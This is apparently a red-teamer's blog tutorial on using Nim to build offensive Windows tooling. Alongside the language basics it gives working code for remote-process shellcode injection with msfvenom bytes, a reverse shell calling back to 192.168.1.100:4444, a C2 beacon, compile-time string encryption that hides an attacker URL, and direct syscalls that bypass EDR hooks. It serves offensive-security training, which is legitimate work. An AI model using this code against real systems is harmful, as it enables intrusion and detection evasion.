Skip to main content
  1. Posts/

The Stealthy Serpent: A Red Teamer's Guide to Nim

··3212 words·16 mins·
Table of Contents

Nim is a systems language that compiles to C by default (with C++, Objective-C, and JavaScript backends also available), has syntax close to Python’s, and got popular in offensive tooling roughly because of two practical facts: it produces small native binaries with an API surface that AV/EDR engines didn’t have a lot of training data for, and it can talk to the Windows API as naturally as C does. The first advantage is shrinking — defenders have noticed — but the second one is permanent, and the development ergonomics are genuinely pleasant compared to writing raw C.

This post is a Nim tour aimed at red teamers: the language fundamentals, the offensive ecosystem that’s grown up around it (winim, OffensiveNim, NimlineWhispers, Nim-RunPE, NimPackt, Nimcrypt2), the compile-time tricks that make Nim particularly good for obfuscation, and a candid look at where the “Nim evades EDR” claim still holds versus where it’s a 2021 talking point. If you’re picking up Nim today for offense, you should understand both halves.


Why Nim, and why now
#

Most modern AV/EDR engines have years of trained signatures and behavioral rules covering C, C++, C#, PowerShell, and Go. Nim wasn’t well covered through 2020 — TA800’s NimzaLoader landed in February 2021 and is roughly when public detection content for Nim payloads started showing up in earnest, with the bulk of vendor signature work catching up through 2022 and 2023. Nim binaries are no longer invisible, but they’re still less well-represented in detection corpora than the mainstream languages, and the standard library has its own idiosyncrasies that don’t match the patterns those engines were tuned on.

That advantage is real, and it’s also temporary. Treat “novel binary signature” as a soft benefit that decays as Nim becomes more common, not as a strategy. The durable reasons to pick Nim are the language ones:

  • It compiles to C and then to native code, so calling into the Windows API has no FFI overhead. winim gives you the entire Win32 surface as ordinary Nim calls.
  • The syntax is close enough to Python that if you can write Python you can write Nim, and the type system is closer to what you’d get from a real systems language than Python’s is.
  • Compile-time macros are first-class. You can transform code, encrypt strings, and generate stubs before the binary exists, which is exactly the kind of thing you want when the static analysis surface matters.
  • Cross-compilation from Linux to Windows just works (-d:mingw).
  • Binaries are small enough to drop or stage, especially with size optimization.

The cost is a smaller ecosystem than Python or Go, occasional rough edges around debugging, and the fact that some of the community-maintained offensive projects haven’t been updated in a couple of years. You will sometimes have to fix things yourself.


Setting up
#

Installing the toolchain
#

choosenim is the version manager. On Linux or macOS:

curl https://nim-lang.org/choosenim/init.sh -sSf | sh
export PATH=$HOME/.nimble/bin:$PATH

On Windows, either grab the installer from nim-lang.org/install.html or use scoop:

scoop install nim

Verify:

nim --version
nimble --version  # package manager

First program
#

# hello.nim
echo "Hello, fellow hackers!"
nim c -r hello.nim

nim c -r compiles and runs in one step. For real builds you’ll want explicit flags; we’ll get to those.


Language fundamentals
#

This section is a fast tour. If you already write Python and know what a struct is, you can probably skim it.

Variables
#

Three keywords, all immutable-by-default unless you say otherwise:

const PI = 3.14159           # compile-time constant
let target = "192.168.1.10"  # runtime constant, computed once
var counter = 0              # mutable
counter += 1

# Type inference
var name = "UncleSp1d3r"   # string
var port = 443             # int

# Explicit type annotation
var targetIP: string = "10.10.10.10"
var targetPort: int = 8080

let is the one you reach for most. var is for things that genuinely change.

Scalar types
#

var a: int = 42              # platform-native int (32 or 64 bit)
var b: int8 = -128           # signed 8-bit
var c: uint16 = 65535        # unsigned 16-bit
var d: int64 = 0xDEADBEEF    # 64-bit

var ratio: float = 0.75
var precise: float64 = 3.14159265358979

var isAdmin: bool = true
var letter: char = 'A'
var payload: string = "calc.exe"

Compound types
#

# Arrays: fixed length, single type
var shellcode: array[4, byte] = [0x90.byte, 0x90, 0xCC, 0xC3]

# Sequences: dynamic arrays
var ports: seq[int] = @[22, 80, 443, 3389]
ports.add(445)

# Tuples: fixed length, mixed types
var target: tuple[ip: string, port: int] = ("192.168.1.1", 445)
echo target.ip

# Objects: structs
type
  Target = object
    ip: string
    port: int
    isOpen: bool

var dc = Target(ip: "10.10.10.1", port: 88, isOpen: true)

Operators
#

The bitwise ones matter for shellcode work; the rest are unsurprising.

var quotient = 10 div 3   # integer division → 3
var remainder = 10 mod 3  # modulo → 1
var power = 2 ^ 8         # exponentiation for ints

var xorResult = 0xAA xor 0x55  # XOR
var shiftLeft = 1 shl 3        # 8
var shiftRight = 0x80 shr 4    # 0x08

Control flow
#

If/elif/else:

proc checkPort(port: int) =
  if port < 1024:
    echo "Port ", port, " is privileged"
  elif port == 3389:
    echo "Port ", port, " is RDP"
  else:
    echo "Port ", port, " is a high port"

Case statements (these are exhaustive — you’ll get a compile error if you miss a branch on an enum):

proc getService(port: int): string =
  case port
  of 22: "SSH"
  of 80, 8080: "HTTP"
  of 443: "HTTPS"
  of 445: "SMB"
  of 3389: "RDP"
  else: "Unknown"

Loops:

for i in 1..10:
  echo "Iteration: ", i

for port in @[22, 80, 443]:
  echo "Scanning port: ", port

var count = 5
while count > 0:
  echo "Countdown: ", count
  count -= 1

Procedures
#

Functions are proc. The last expression is the implicit return value, and every proc has an implicit result variable you can mutate instead of building up a return value yourself.

proc add(a, b: int): int =
  return a + b

proc multiply(a, b: int): int =
  a * b  # implicit return

proc scanPort(ip: string, port: int, timeout: int = 1000): bool =
  echo "Scanning ", ip, ":", port
  true

proc buildPayload(cmd: string): string =
  result = "powershell -enc "
  result.add(cmd)
  # result is returned automatically

discard scanPort("192.168.1.1", 445)
discard scanPort("192.168.1.1", 445, 5000)

discard is how you throw away a return value you don’t want. Nim will warn (or error, with --warningAsError) if you ignore a non-void return without it.


Talking to the Windows API with winim
#

This is where Nim earns its place in offensive tooling. winim by khchen is a near-complete set of Nim bindings for the Win32 API, COM, and Windows data types, with no FFI shim layer in between. You call MessageBox the same way you call echo.

nimble install winim

A trivial MessageBox
#

import winim/lean

proc main() =
  MessageBox(0, "Your system has been audited.", "Security Notice",
             MB_OK or MB_ICONWARNING)

main()

Compile for Windows (from Linux):

nim c -d:mingw --app:gui --opt:size messagebox.nim

winim/lean is the core SDK only; the default import winim adds the Shell/OLE pieces; COM is opt-in either way through import winim/com. Use lean unless you need the extra surface — it compiles faster and produces smaller binaries.

Process enumeration
#

You usually need a target PID before you do anything interesting:

import winim/lean

proc findProcess(name: string): DWORD =
  var snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
  var entry: PROCESSENTRY32
  entry.dwSize = cast[DWORD](sizeof(entry))

  if Process32First(snapshot, addr entry) == TRUE:
    while true:
      let processName = $cast[WideCString](addr entry.szExeFile[0])
      if processName.toLowerAscii().contains(name.toLowerAscii()):
        CloseHandle(snapshot)
        return entry.th32ProcessID
      if Process32Next(snapshot, addr entry) == FALSE:
        break

  CloseHandle(snapshot)
  return 0

let explorerPid = findProcess("explorer.exe")
echo "Explorer PID: ", explorerPid

This is the same Toolhelp32 walk you’d write in C, just with Nim’s string handling on top.

Classic shellcode injection
#

The standard pattern is OpenProcessVirtualAllocExWriteProcessMemoryVirtualProtectExCreateRemoteThread. You allocate as PAGE_READWRITE and flip to PAGE_EXECUTE_READ before launching the thread — straight PAGE_EXECUTE_READWRITE allocations are one of the most reliable behavioral signatures EDRs catch.

import winim/lean

# Replace with your payload: msfvenom -p windows/x64/exec CMD=calc.exe -f nim
var shellcode: array[276, byte] = [
    byte 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
    0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48
    # truncated
]

proc inject(pid: DWORD) =
  let pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
  if pHandle == 0:
    echo "[-] OpenProcess failed"
    return

  let rPtr = VirtualAllocEx(
    pHandle, NULL, cast[SIZE_T](shellcode.len),
    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE
  )
  if rPtr == NULL:
    echo "[-] VirtualAllocEx failed"
    CloseHandle(pHandle)
    return

  var bytesWritten: SIZE_T
  if WriteProcessMemory(pHandle, rPtr, unsafeAddr shellcode,
                        cast[SIZE_T](shellcode.len), addr bytesWritten) == 0:
    echo "[-] WriteProcessMemory failed"
    CloseHandle(pHandle)
    return

  var oldProtect: DWORD
  discard VirtualProtectEx(pHandle, rPtr, cast[SIZE_T](shellcode.len),
                           PAGE_EXECUTE_READ, addr oldProtect)

  var threadId: DWORD
  let hThread = CreateRemoteThread(
    pHandle, NULL, 0, cast[LPTHREAD_START_ROUTINE](rPtr),
    NULL, 0, addr threadId
  )

  if hThread != 0:
    echo "[+] Thread ID: ", threadId
  else:
    echo "[-] CreateRemoteThread failed"

  CloseHandle(hThread)
  CloseHandle(pHandle)

inject(1234)

This is the textbook injection sequence. It works, and modern EDRs will catch it on most managed endpoints — CreateRemoteThread into a foreign process is exactly the kind of behavior they’re watching for. The point of showing it isn’t that it’s stealthy; it’s that this is the baseline you build variants off of, and everything else in the ecosystem (Nim-RunPE’s reflective loading, NimPackt’s various packers, the injection variants in OffensiveNim) is some twist on it: process hollowing, APC injection, thread hijacking, indirect syscalls.

A note on the RW-then-flip-to-RX pattern above: it’s stealthier than a direct PAGE_EXECUTE_READWRITE allocation, but it’s not a bypass on a modern EDR. The transition from non-executable to executable on a private (non-image) memory region — especially when followed by thread creation pointing into that region — is itself a high-confidence behavioral signal. The injection family that actually still works against good EDRs is built on top of techniques like module stomping, thread-pool callbacks, or executable-section reuse, not on this base pattern.


Compilation flags that matter
#

How you compile is at least as important as what you compile. The defaults leave debug symbols, runtime checks, and console windows.

# Dev build: fast compile, runtime checks on
nim c payload.nim

# Release: optimized, some checks remain
nim c -d:release payload.nim

# "Danger" mode: no runtime checks at all
nim c -d:danger payload.nim

# Production shape for a Windows payload
nim c -d:danger --opt:size --app:gui --passL:-s payload.nim

Flag reference:

FlagWhat it does
-d:dangerStrip all runtime checks (bounds, overflow, etc.)
-d:releaseOptimize, keep some safety checks
--opt:sizeOptimize for binary size
--opt:speedOptimize for runtime speed
--app:guiNo console window (critical for stealth)
--app:consoleConsole window (default)
--passL:-sStrip symbols at link time
--passL:-staticStatic link (larger, no DLL deps)
-d:mingwCross-compile to Windows from Linux
--cpu:amd6464-bit target
--cpu:i38632-bit target

Cross-compiling from Linux is one of Nim’s nicer ergonomic wins:

sudo apt install mingw-w64
nim c -d:mingw -d:danger --opt:size --app:gui --cpu:amd64 payload.nim

After the build, strip payload.exe removes whatever the linker missed. upx --best payload.exe will halve the size, but UPX-packed binaries are themselves a signature — depending on the engagement that’s a fine tradeoff or a terrible one.


Compile-time obfuscation
#

The macro system is the part of Nim that most consistently surprises people coming from other languages. Macros run at compile time and operate on the AST, so you can transform code, encrypt data, and generate stubs before the binary exists. The most useful application for offense is string encryption.

Encrypting strings before they hit the binary
#

Plaintext strings — URLs, command lines, error messages — are how most simple-minded analysis works. strings malware.exe | grep -i http is sometimes all you need. A compile-time XOR macro keeps the plaintext out of the binary entirely:

import std/macros

const XOR_KEY = 0x5A

macro encryptString(s: static[string]): untyped =
  var encryptedBytes: seq[byte] = @[]
  for c in s:
    encryptedBytes.add(byte(ord(c) xor XOR_KEY))

  var arrayLit = nnkBracket.newTree()
  for b in encryptedBytes:
    arrayLit.add(newLit(b))

  result = quote do:
    `arrayLit`

proc decryptString(encrypted: openArray[byte]): string =
  result = ""
  for b in encrypted:
    result.add(char(b xor XOR_KEY))

let encryptedUrl = encryptString("http://c2.attacker.com/beacon")
let decryptedUrl = decryptString(encryptedUrl)
echo decryptedUrl

strings on the resulting binary will not find the URL — only the encrypted byte array. XOR with a single-byte key is not real cryptography; for a more serious engagement use a stronger compile-time cipher or the Denim obfuscator. But the principle is what matters: the plaintext can live entirely in the source, never in the artifact.

Timing-based anti-analysis (don’t oversell this)
#

Templates and macros can also inject opaque control flow and timing checks. A naive example:

import std/times

template timingCheck() =
  let start = cpuTime()
  var dummy = 0
  for i in 0..100:
    dummy += i
  if cpuTime() - start > 0.5:
    quit(1)

timingCheck()
# ... payload ...
timingCheck()

Real anti-debug uses IsDebuggerPresent, CheckRemoteDebuggerPresent, RDTSC deltas, or NtQueryInformationProcess with ProcessDebugPort. The 100-iteration cpuTime() check above is illustrative, not a serious defense — any analyst is bypassing this in under a minute. The interesting thing about Nim’s macro system here is that you can sprinkle hundreds of these throughout the code at compile time without touching the source, which makes the resulting CFG ugly to graph.


Direct syscalls and unhooking
#

User-mode EDR hooks live in ntdll.dll. When your process calls VirtualAlloc, control goes through the kernel32 wrapper, into ntdll’s NtAllocateVirtualMemory (where the EDR has typically installed a JMP to its own handler), then eventually to the actual syscall. If you can issue the syscall directly — load eax with the syscall number, set up the registers, syscall — you skip the hook entirely.

NimlineWhispers3 generates Nim wrappers for the Nt-prefixed Native API calls with inline assembly syscall stubs, parameterized on the target Windows version (syscall numbers shift between builds, so a hardcoded table goes stale fast).

git clone https://github.com/klezVirus/NimlineWhispers3
python3 NimlineWhispers3.py --os Windows10 --arch x64

Instead of:

# Hooked path through ntdll
VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE)

You end up calling:

# Direct syscall, bypasses ntdll hooks
NtAllocateVirtualMemory(processHandle, addr baseAddress, 0, addr regionSize,
                        MEM_COMMIT, PAGE_READWRITE)

A few caveats. Direct syscalls evade user-mode hooks but not kernel-mode telemetry — ETW-TI, kernel callbacks, and PPL-protected EDR services see what you’re doing regardless of how you got there. Mature EDRs increasingly flag the absence of expected hooked-path call patterns: if a process makes a hundred syscalls and zero of them go through ntdll, that’s its own anomaly. Indirect syscalls (where the syscall instruction lives inside ntdll itself but you jumped there from your own code) are the current iteration on top of this.


The offensive Nim ecosystem
#

A lot of the value of picking Nim is that someone has already written most of the load-bearing parts. The ones worth knowing:

ProjectWhat it is
OffensiveNimThe reference repo. Templates for shellcode injection, AMSI bypass, ETW patching, token manipulation, DLL injection. Start here.
winimThe Windows API bindings everything else depends on.
NimlineWhispers3Direct syscall stub generator.
Nim-RunPEReflective PE loading — maps a PE into the current process. (Despite the name, it isn’t classic RunPE-style process hollowing.)
NimPackt-v1Shellcode packer with several injection backends.
Nimcrypt2Crypter with multiple encryption and evasion options.
DenimSource-level obfuscator.

A practical workflow: start from an OffensiveNim template that matches your injection technique, swap in NimlineWhispers stubs for the user-mode-hooked calls you care about, then run the source through Denim or hand-roll your macro obfuscation before final compile. None of this is novel — it’s the same pipeline a competent C tooling shop uses, just with less ceremony.

A real warning on staleness: as of mid-2026, NimlineWhispers3, NimPackt-v1, Nimcrypt2, and Denim haven’t seen a commit in roughly three to four years. They still work, but the SysWhispers3 lineage NimlineWhispers wraps has been superseded for cutting-edge evasion by indirect-syscall variants (Hell’s Gate, Halo’s Gate, Tartarus’ Gate, HellHall, RecycledGate, FreshyCalls). OffensiveNim, winim, and Nim-RunPE are the actively maintained ones in this list. Read the commit history before you adopt any of them for an engagement.


Networking
#

C2 communication is rarely the interesting part of an implant, but you do need it.

HTTP client
#

import std/httpclient

proc beacon(url: string): string =
  let client = newHttpClient()
  try:
    result = client.getContent(url)
  except CatchableError:
    result = ""
  finally:
    client.close()

echo beacon("http://localhost:8080/tasks")

Set a userAgent on the client that matches whatever browser or app you’re trying to look like, and consider TLS pinning if you’re impersonating a specific service.

Raw sockets
#

For a quick reverse shell:

import std/[net, osproc]

proc connectBack(ip: string, port: int) =
  let socket = newSocket()
  socket.connect(ip, Port(port))

  while true:
    let command = socket.recvLine()
    if command == "":
      break
    let output = execProcess(command)
    socket.send(output & "\n")

  socket.close()

connectBack("192.168.1.100", 4444)

A reverse shell binary that spawns cmd.exe or powershell.exe is going to get caught by any halfway-competent EDR. This is a primitive, not a tool you’d ship.


Honest comparison
#

FeatureNimPythonC/C++C#
Development speedHighVery highLowMedium
Execution speedNativeSlowNativeJIT
Binary sizeSmall to mediumLarge (PyInstaller)SmallestMedium
EDR signature noveltyModerate, shrinkingLowLow (known)Low (very known)
WinAPI accessEasy via winimEasy via ctypesNativeEasy via P/Invoke
Cross-compilationExcellent (-d:mingw)N/APainfulLimited
Learning curveLow (Python-like)Very lowSteepModerate
Community offensive toolingActive but smallExtensiveExtensiveExtensive

Reach for Nim when you’re building custom loaders, stagers, or implants and you want C-level access without writing C. Reach for C# when the target environment is heavily .NET and you want easy interop with managed assemblies. Reach for C or Rust when you need maximum control or minimum binary size. Reach for Python when you’re prototyping and shellcode delivery isn’t the constraint.

The reason “Nim evades EDR” was the cliche in 2021 and isn’t anymore: the major EDR vendors now have detection content for the common offensive Nim patterns. The compiled output is still less well-represented than C# or PowerShell, but it’s no longer the get-out-of-jail-free card it was three years ago. Use Nim because the development experience is good and the WinAPI integration is clean. Treat the signature novelty as a bonus that’s actively decaying.


Closing
#

Nim sits in a sweet spot. The syntax is friendly enough that you can iterate fast, the compile model gives you actual native binaries with reasonable size, the WinAPI integration through winim is as clean as you’re going to find outside C, and the macro system lets you do compile-time obfuscation that’s a real pain to do in most other languages. The community offensive tooling (OffensiveNim, NimlineWhispers, Nim-RunPE, NimPackt, Nimcrypt2, Denim) covers most of the patterns you’d want.

What you don’t get is a permanent evasion advantage. That window is closing as fast as defenders care to close it. What you do get is a productive language for writing the kind of tool you’d otherwise have to write in C, with less footgunning and a faster edit-compile-test loop. For an operator who has to ship custom tooling on a deadline, that’s the actual value proposition.


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.